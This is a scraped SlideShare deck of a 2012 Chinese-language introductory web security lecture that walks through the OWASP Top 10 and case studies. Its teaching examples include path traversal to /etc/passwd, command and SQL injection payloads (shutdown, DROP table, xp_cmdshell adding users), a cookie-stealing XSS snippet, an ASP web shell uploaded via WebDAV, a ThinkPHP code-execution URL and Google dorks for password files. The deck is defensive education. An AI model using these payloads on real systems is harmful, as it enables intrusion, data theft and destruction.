Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.
網頁安全 Web Security 入門   2012/10/20 @ Study-Area    <Orange@chroot.org>
About Me• 蔡政達 a.k.a Orange    • 專精於• 2009 台灣駭客年會競         – 駭客攻擊手法  賽冠軍                  – Web Security• 2011 全國資安競賽金     ...
About Me• CHROOT Security Group 成員• NISRA 資訊安全研究會 成員• 偶爾做做滲透測試、講講課、接接 case.• Blog  – http://blog.orangee.tw/
Outline• 網頁安全分析• 網頁漏洞檢測• 案例分享
e10adc3949ba59abbe56e057f20f883e        你會想到甚麼?       md5sum of 123456
駭客想的和你不一樣
駭客觀察日記
http://orange.tw/wp-content/uploads/2012/04/16552602503_125.pdf         網址透漏了甚麼?
In The Wild.• 七成以上的網站存在安全問題• World Wide Web 發展至今趨近成熟 – 技術多、花樣多• Web 是駭客最愛找洞鑽的入口點 – 防火牆無用論?• 要當「駭客」越來越輕鬆
傻瓜工具輕輕鬆鬆入侵網站
Google Hacking Database   http://www.exploit-db.com/google-dorks/
Google Hacking Database
從何開始?• OWASP Top 10• Open Web Application Security Project• Web 最常見、駭客最愛看的十大安全問題
從第十名開始
10. Insufficient TransportLayer Protection• 你的密碼在網路線  上飛• 人性本善論• 有 SSL(https) 就安全  了嗎?  – SSLstrip  – Man-in-the-middle   ...
看到就該注意一下了
9. Insecure Cryptographic Storage• 不安全的加密儲存• 密碼為什麼不能存明文? – 傳輸過程中的竊聽 – 針對性的密碼攻擊
http://plainpass.com/
8. UnvalidatedRedirects and Forwards• 設計對白,點下去嗎?
www.battlenet.com.cn
www.bazzaent.com
www.bazzaent.com
7. Failure toRestrict URL Access• 管理者登入頁面  – http://orange.tw/admin/login.php• 程式設計師的好習慣  – http://orange.tw/.svn/entries•...
6. Security Misconfiguration•   人是最大的的弱點•   安全的系統程式碰上沒有安全意識的人?•   系統更新到最新?•   設定是照著系統的預設設定?•   密碼是預設密碼或是弱密碼?    – 網路環境比較複雜...
未做好程式錯誤的 handling
選用過舊的應用程式版本
5. Cross-Site Request Forgery• 未授權的使用者請  求偽造• 通常配合後面的  XSS 一起利用• ex 網站自動讀圖 – /logout – /transfer?to=hacker   &amount=10000
4. Insecure DirectObject References• 問: 駭客看到下面網址的直覺反應是?• http://orange.tw/index.php?mod=news  – /index.php?mod=login  – /i...
http://orange.tw/download.php     ?file=sa-at-tainan.doc    背後是如何實現下載功能的 ?
download.php<?php   $file= $_GET[file];   if ($file == )       die( file not found. );   Header ( "Content-Type: applicati...
• download.php?file=sa-at-tainan.doc  /var/www/uploads/sa-at-tainan.doc• download.php?file=../download.php  /var/www/uploa...
3. Broken Authentication andSession Management• Cookie or Session  – Set-Cookie: admin=0;• 只用 JavaScript 的身分驗證  – alert( 沒...
2. Cross-Site Scripting• 俗稱 XSS• 攻擊對象非網站本身,而是針對用戶端• 植入惡意的 HTML, CSS, Javascript, VBScript  等
Cont. <script>    stealCookie( hackerIP, document.cookie );    var friends = getAllFriends();    for ( var friend in frien...
1. Injection• 網頁程式未對使用者輸入的資料做檢查,  給駭客有機會植入惡意的指令的機會• SQL Injection• Command Injection• Code, Xpath, Ldap Injection..
Command Injection(1/3)• Pipe & terminator  – cat /etc/passwd | less  – echo 1; echo 2 ;
Command Injection(2/3)<?php   $domain = $_GET[domain];   if ( $domain ==  )      die( domain not found. );   echo <pre>;  ...
Command Injection(3/3)• ip.php?domain=orange.tw  – cmd = nslookup orange.tw• ip.php?domain=orange.tw | shutdown -r  – cmd ...
SQL Injection (1/3)• news.php?id=3  – SELECT * FROM news WHERE id=3• news.php?id=sleep(123)  – SELECT * FROM news WHERE id...
SQL Injection (2/3)• login.asp     # admin / 123456  – SELECT * FROM user WHERE name=admin and pwd=    123456• login.asp  ...
SQL Injection (3/3) • news.asp?id=3;EXEC master..xp_cmdshell   net user sa /add;--   – SELECT * FROM news WHERE id=3;EXEC ...
漏洞那麼多,頭昏眼花   休息十分鐘
網頁漏洞檢測自動化 vs. 手動
w3af       http://w3af.sourceforge.net/
w3af
Jsky   http://nosec.org/en/productservice/jsky/
Jsky
網頁漏洞是如何被找出來? (1/3)• 觀察、分析• 網頁功能是如何實現的?• 分析輸入輸出的結果• 正確的輸入正確的輸出• 錯誤的輸入錯誤的輸出
網頁漏洞是如何被找出來? (2/3)• 網頁的上傳功能 – 檢查附檔名 ? – 檢查 Content-Type ? – 檢查檔案內容 ?• 網頁的上傳掃毒功能 – 如何實現 ? – 實現的程式碼可能有甚麼問題 ? – clamscan -i f...
網頁漏洞是如何被找出來? (3/3)• 只有了解溝通的語言才能選擇好的(錯誤)的  輸入• 只有了解架構才能知道哪裡容易出問題• HTTP Protocol• SQL PHP ASP Java JavaScript Tomcat Apache…
HTTP Request  GET /robots.txt HTTP/1.1  Host: orange.tw  User-Agent: Mozilla/5.0  Accept-Language: zh-tw,en-us;  Accept-En...
HTTP Response  HTTP/1.1 200 OK  Last-Modified: Tue, 19 Jul 2011 21:46:37  GMT  Server: Apache/2.2.3 (Oracle)  Content-Leng...
Cont. 案例分享不正確的程式寫法可以任意偽造 IP 位置  GET /getIP HTTP/1.1  Host: orange.tw  X-Forwarded-For: 127.0.0.1
錯誤示範(google://php get ip)function getIp() {  $ip = $_SERVER[REMOTE_ADDR];    if (!empty($_SERVER[HTTP_CLIENT_IP])) {      ...
Cont. 案例分享不安全的伺服器設置造成可任意寫入檔案  PUT /cmd.asp HTTP/1.1  Host: orange.tw  Content-Length: 24  <%execute(request(cmd));%>
WebDAV
Cont. 案例分享PHP CGI ArgumentInjectionhttp://test/index.phphttp://test/index.php?-shttp://eindbazen.net/2012/05/php-cgi-advis...
Cont. 案例分享不嚴謹的字串檢查可造成任意密碼登入       or = / <anything>SELECT * FROM adminWHERE user= or = and pwd=<anything>
Cont. 案例分享• Struts2 ognl 任意代碼執行漏洞• Java MVC Framework• CVE-2011-3923
http://www.wooyun.org/bugs/wooyun-2010-08981
http://www.wooyun.org/bugs/wooyun-2010-08981
Cont. 案例分享Think PHP 任意代碼執行漏洞
ThinkPHP 代碼執行漏洞https://orange.tw/index.php?s=module/action/param1/${@system($_GET[cmd])}&cmd=cat config.php$res =preg_repl...
用來協助分析的小工具
Google HackingGoogle is your BEST friend.
•   apple orange•   apple -orange•   "apple orange"•   site:orange.tw•   site:orange.tw inurl:air•   site:orange.tw filety...
"index of" 徐佳瑩 mp3
site:gov.cn filetype:xls 密碼
inurl:cmd filetype:asp "system32"
Burp Suite - Proxy       http://portswigger.net/burp/
Burp Suite - Spider       http://portswigger.net/burp/
Burp Suite - Decoder       http://portswigger.net/burp/
FireFox–Tamper Data
FireFox–HackBar
FireFox–User Agent Switcher
小練習http://demosite.com/sa.php
Q&A
Thanks :)<Orange@chroot.org>
網頁安全 Web security 入門 @ Study-Area
網頁安全 Web security 入門 @ Study-Area
網頁安全 Web security 入門 @ Study-Area
網頁安全 Web security 入門 @ Study-Area
Upcoming SlideShare
Loading in …5
×

網頁安全 Web security 入門 @ Study-Area

67,141 views

Published on

Study-Area @ Tainan & Taichung

Published in: Technology

網頁安全 Web security 入門 @ Study-Area

  1. 1. 網頁安全 Web Security 入門 2012/10/20 @ Study-Area <Orange@chroot.org>
  2. 2. About Me• 蔡政達 a.k.a Orange • 專精於• 2009 台灣駭客年會競 – 駭客攻擊手法 賽冠軍 – Web Security• 2011 全國資安競賽金 – Windows Vulnerability Exploitation 盾獎冠軍• 2011 東京 Avtokyo 研 討會講師
  3. 3. About Me• CHROOT Security Group 成員• NISRA 資訊安全研究會 成員• 偶爾做做滲透測試、講講課、接接 case.• Blog – http://blog.orangee.tw/
  4. 4. Outline• 網頁安全分析• 網頁漏洞檢測• 案例分享
  5. 5. e10adc3949ba59abbe56e057f20f883e 你會想到甚麼? md5sum of 123456
  6. 6. 駭客想的和你不一樣
  7. 7. 駭客觀察日記
  8. 8. http://orange.tw/wp-content/uploads/2012/04/16552602503_125.pdf 網址透漏了甚麼?
  9. 9. In The Wild.• 七成以上的網站存在安全問題• World Wide Web 發展至今趨近成熟 – 技術多、花樣多• Web 是駭客最愛找洞鑽的入口點 – 防火牆無用論?• 要當「駭客」越來越輕鬆
  10. 10. 傻瓜工具輕輕鬆鬆入侵網站
  11. 11. Google Hacking Database http://www.exploit-db.com/google-dorks/
  12. 12. Google Hacking Database
  13. 13. 從何開始?• OWASP Top 10• Open Web Application Security Project• Web 最常見、駭客最愛看的十大安全問題
  14. 14. 從第十名開始
  15. 15. 10. Insufficient TransportLayer Protection• 你的密碼在網路線 上飛• 人性本善論• 有 SSL(https) 就安全 了嗎? – SSLstrip – Man-in-the-middle attack
  16. 16. 看到就該注意一下了
  17. 17. 9. Insecure Cryptographic Storage• 不安全的加密儲存• 密碼為什麼不能存明文? – 傳輸過程中的竊聽 – 針對性的密碼攻擊
  18. 18. http://plainpass.com/
  19. 19. 8. UnvalidatedRedirects and Forwards• 設計對白,點下去嗎?
  20. 20. www.battlenet.com.cn
  21. 21. www.bazzaent.com
  22. 22. www.bazzaent.com
  23. 23. 7. Failure toRestrict URL Access• 管理者登入頁面 – http://orange.tw/admin/login.php• 程式設計師的好習慣 – http://orange.tw/.svn/entries• 放在網站上回家改 code 比較方便 – http://orange.tw/www.tgz• Hack friendly 的上傳頁面 – http://orange.tw/upload.php
  24. 24. 6. Security Misconfiguration• 人是最大的的弱點• 安全的系統程式碰上沒有安全意識的人?• 系統更新到最新?• 設定是照著系統的預設設定?• 密碼是預設密碼或是弱密碼? – 網路環境比較複雜時,你旁邊的系統呢?
  25. 25. 未做好程式錯誤的 handling
  26. 26. 選用過舊的應用程式版本
  27. 27. 5. Cross-Site Request Forgery• 未授權的使用者請 求偽造• 通常配合後面的 XSS 一起利用• ex 網站自動讀圖 – /logout – /transfer?to=hacker &amount=10000
  28. 28. 4. Insecure DirectObject References• 問: 駭客看到下面網址的直覺反應是?• http://orange.tw/index.php?mod=news – /index.php?mod=login – /index.php?mod=admin• http://orange.tw/news.php?id=1&act=view – /news.php?id=1&act=edit – /news.php?id=1&act=upload
  29. 29. http://orange.tw/download.php ?file=sa-at-tainan.doc 背後是如何實現下載功能的 ?
  30. 30. download.php<?php $file= $_GET[file]; if ($file == ) die( file not found. ); Header ( "Content-Type: application/octet-stream" ); Header( "Content-Disposition: attachment; filename=$file" ); readfile( uploads/ . $file );
  31. 31. • download.php?file=sa-at-tainan.doc /var/www/uploads/sa-at-tainan.doc• download.php?file=../download.php /var/www/uploads/../download.php• download.php?file=../../../etc/passwd /var/www/uploads/../../../etc/passwd
  32. 32. 3. Broken Authentication andSession Management• Cookie or Session – Set-Cookie: admin=0;• 只用 JavaScript 的身分驗證 – alert( 沒有權限 ); history.back();• 不安全的 Cookie 產生方式
  33. 33. 2. Cross-Site Scripting• 俗稱 XSS• 攻擊對象非網站本身,而是針對用戶端• 植入惡意的 HTML, CSS, Javascript, VBScript 等
  34. 34. Cont. <script> stealCookie( hackerIP, document.cookie ); var friends = getAllFriends(); for ( var friend in friends ) sendMessage( friend, evilCode ); </script>
  35. 35. 1. Injection• 網頁程式未對使用者輸入的資料做檢查, 給駭客有機會植入惡意的指令的機會• SQL Injection• Command Injection• Code, Xpath, Ldap Injection..
  36. 36. Command Injection(1/3)• Pipe & terminator – cat /etc/passwd | less – echo 1; echo 2 ;
  37. 37. Command Injection(2/3)<?php $domain = $_GET[domain]; if ( $domain == ) die( domain not found. ); echo <pre>; system( nslookup . $cmd );
  38. 38. Command Injection(3/3)• ip.php?domain=orange.tw – cmd = nslookup orange.tw• ip.php?domain=orange.tw | shutdown -r – cmd = nslookup orange.tw | shutdown -r‘• 使用者輸入汙染了系統執行的指令。
  39. 39. SQL Injection (1/3)• news.php?id=3 – SELECT * FROM news WHERE id=3• news.php?id=sleep(123) – SELECT * FROM news WHERE id=sleep(123)• news.php?id=3 and left(pwd, 1)=a – SELECT * FROM news WHERE id=3 and left(pwd, 1)=a
  40. 40. SQL Injection (2/3)• login.asp # admin / 123456 – SELECT * FROM user WHERE name=admin and pwd= 123456• login.asp # admin-- – SELECT * FROM user WHERE name=admin-- and ……• login.asp # admin;DROP table ... – SELECT * FROM user WHERE name=admin;DROP table user;-- and ……
  41. 41. SQL Injection (3/3) • news.asp?id=3;EXEC master..xp_cmdshell net user sa /add;-- – SELECT * FROM news WHERE id=3;EXEC master..xp_cmdshell net user orange /add;-- • 使用者輸入汙染了 SQL 語句。
  42. 42. 漏洞那麼多,頭昏眼花 休息十分鐘
  43. 43. 網頁漏洞檢測自動化 vs. 手動
  44. 44. w3af http://w3af.sourceforge.net/
  45. 45. w3af
  46. 46. Jsky http://nosec.org/en/productservice/jsky/
  47. 47. Jsky
  48. 48. 網頁漏洞是如何被找出來? (1/3)• 觀察、分析• 網頁功能是如何實現的?• 分析輸入輸出的結果• 正確的輸入正確的輸出• 錯誤的輸入錯誤的輸出
  49. 49. 網頁漏洞是如何被找出來? (2/3)• 網頁的上傳功能 – 檢查附檔名 ? – 檢查 Content-Type ? – 檢查檔案內容 ?• 網頁的上傳掃毒功能 – 如何實現 ? – 實現的程式碼可能有甚麼問題 ? – clamscan -i filename.jpg | sleep 12345 …
  50. 50. 網頁漏洞是如何被找出來? (3/3)• 只有了解溝通的語言才能選擇好的(錯誤)的 輸入• 只有了解架構才能知道哪裡容易出問題• HTTP Protocol• SQL PHP ASP Java JavaScript Tomcat Apache…
  51. 51. HTTP Request GET /robots.txt HTTP/1.1 Host: orange.tw User-Agent: Mozilla/5.0 Accept-Language: zh-tw,en-us; Accept-Encoding: gzip, deflate Referer: http://www.google.com.tw/ Cookie: user=admin
  52. 52. HTTP Response HTTP/1.1 200 OK Last-Modified: Tue, 19 Jul 2011 21:46:37 GMT Server: Apache/2.2.3 (Oracle) Content-Length: 64 Content-Type: text/plain; charset=UTF-8 <html>
  53. 53. Cont. 案例分享不正確的程式寫法可以任意偽造 IP 位置 GET /getIP HTTP/1.1 Host: orange.tw X-Forwarded-For: 127.0.0.1
  54. 54. 錯誤示範(google://php get ip)function getIp() { $ip = $_SERVER[REMOTE_ADDR]; if (!empty($_SERVER[HTTP_CLIENT_IP])) { $ip = $_SERVER[HTTP_CLIENT_IP]; } elseif (!empty($_SERVER[‘HTTP_X_FORWARDED_FOR’])) { $ip = $_SERVER[HTTP_X_FORWARDED_FOR]; } return $ip;}
  55. 55. Cont. 案例分享不安全的伺服器設置造成可任意寫入檔案 PUT /cmd.asp HTTP/1.1 Host: orange.tw Content-Length: 24 <%execute(request(cmd));%>
  56. 56. WebDAV
  57. 57. Cont. 案例分享PHP CGI ArgumentInjectionhttp://test/index.phphttp://test/index.php?-shttp://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
  58. 58. Cont. 案例分享不嚴謹的字串檢查可造成任意密碼登入 or = / <anything>SELECT * FROM adminWHERE user= or = and pwd=<anything>
  59. 59. Cont. 案例分享• Struts2 ognl 任意代碼執行漏洞• Java MVC Framework• CVE-2011-3923
  60. 60. http://www.wooyun.org/bugs/wooyun-2010-08981
  61. 61. http://www.wooyun.org/bugs/wooyun-2010-08981
  62. 62. Cont. 案例分享Think PHP 任意代碼執行漏洞
  63. 63. ThinkPHP 代碼執行漏洞https://orange.tw/index.php?s=module/action/param1/${@system($_GET[cmd])}&cmd=cat config.php$res =preg_replace(@(w+).$depr.([^.$depr./]+)@e, $var[1]="2";, implode($depr,$paths));
  64. 64. 用來協助分析的小工具
  65. 65. Google HackingGoogle is your BEST friend.
  66. 66. • apple orange• apple -orange• "apple orange"• site:orange.tw• site:orange.tw inurl:air• site:orange.tw filetype:php
  67. 67. "index of" 徐佳瑩 mp3
  68. 68. site:gov.cn filetype:xls 密碼
  69. 69. inurl:cmd filetype:asp "system32"
  70. 70. Burp Suite - Proxy http://portswigger.net/burp/
  71. 71. Burp Suite - Spider http://portswigger.net/burp/
  72. 72. Burp Suite - Decoder http://portswigger.net/burp/
  73. 73. FireFox–Tamper Data
  74. 74. FireFox–HackBar
  75. 75. FireFox–User Agent Switcher
  76. 76. 小練習http://demosite.com/sa.php
  77. 77. Q&A
  78. 78. Thanks :)<Orange@chroot.org>

×